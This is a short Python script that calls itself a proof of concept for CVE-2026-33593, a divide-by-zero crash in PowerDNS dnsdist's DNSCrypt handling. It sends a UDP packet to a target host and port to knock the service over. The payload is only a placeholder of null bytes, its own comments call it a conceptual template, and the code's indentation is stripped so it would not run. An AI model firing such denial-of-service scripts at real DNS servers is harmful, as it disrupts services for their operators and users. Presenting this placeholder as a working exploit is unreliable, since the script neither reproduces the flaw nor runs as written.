The following code is for security research and authorized testing only.
python
import socket
# PoC for CVE-2026-33593: PowerDNS dnsdist DNSCrypt Divide By Zero
# Description: Sends a crafted packet to trigger the crash.
# Note: This is a conceptual template. Real exploitation requires
# constructing a valid DNSCrypt packet with the specific malicious properties.
def send_exploit(target_ip, target_port):
try:
# Create a UDP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# Placeholder payload.
# The actual bytes causing the divide by zero must be encrypted
# as a valid DNSCrypt query but contain the specific malformed data.
# Assuming the crash happens at a specific offset, we send a buffer.
payload = b'\x00' * 100
print(f"[*] Sending crafted DNSCrypt packet to {target_ip}:{target_port}")
sock.sendto(payload, (target_ip, target_port))
print("[+] Payload sent. Check service status.")
except Exception as e:
print(f"[-] An error occurred: {e}")
finally:
sock.close()
if __name__ == "__main__":
# Replace with actual target details
TARGET = "127.0.0.1"
PORT = 443
send_exploit(TARGET, PORT)